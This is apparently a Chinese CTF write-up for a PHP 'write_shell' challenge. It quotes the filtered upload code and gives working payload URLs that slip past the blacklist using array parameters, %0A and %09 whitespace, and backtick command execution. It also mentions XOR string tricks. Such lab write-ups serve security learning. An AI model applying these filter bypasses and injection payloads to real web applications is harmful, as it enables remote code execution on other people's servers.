write_shell
wp
这是一道代码审计的问题,先上源码
<?php
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
意思是从访问IP地址hash加密后创建文件夹,将读取的输入写入文件,明显利用点为构造payload读取写入命令读取flag。
先获取文件相对地址:
http://eci-2zeb1jg3i7kmdvqm8be8.cloudeci1.ichunqiu.com/?action=pwd
waf过滤了空格、分号和php关键字,一开始准备使用不带php的短标记:
<?print("hello")?>
预期的结果应该为访问页面显示hello,但页面会什么都不显示,F12查看网页源码,会发现网页源码有这条语句,推测不支持短标记,这样的话就应该使用完整标记
<?php ?>
想办法绕过,不断尝试中,发现%0A——urlencode的\n可以绕过空格,虽然源码对数组类型作了判断,但依然可以使用数组构造php等,构造payload如下:
http://eci-2zeb1jg3i7kmdvqm8be8.cloudeci1.ichunqiu.com/?action=upload
&data[]=<?ph&data[]=p%0A
&data[]=phpinfo()
&data[]=?>
成功得到phpinfo页面,大功告成!,flag不在phpinfo里,但因为思路正确,只需要替换函数部分就行,想到exec()、system()等函数执行系统命令,查找flag,但都被php过滤掉。
opendir()等函数也不行,又是一番鏖战,得知``之间放命令可以被执行,于是用 `ls`,果然成功。猜测flag目录为/var/www/ `ls /var/www/`但命令执行中的空格无法绕过,%0A会截断命令的执行。至此思考方向出错,放弃了。
wp
。。。怀疑人生,思考短标记是可以执行的,而且%09是可以用来过空格的过滤的。
另外还有有字符串异或绕过的,这种方法看到过很多次,也尝试过,但结果总不一样,可能还差亿点点细节。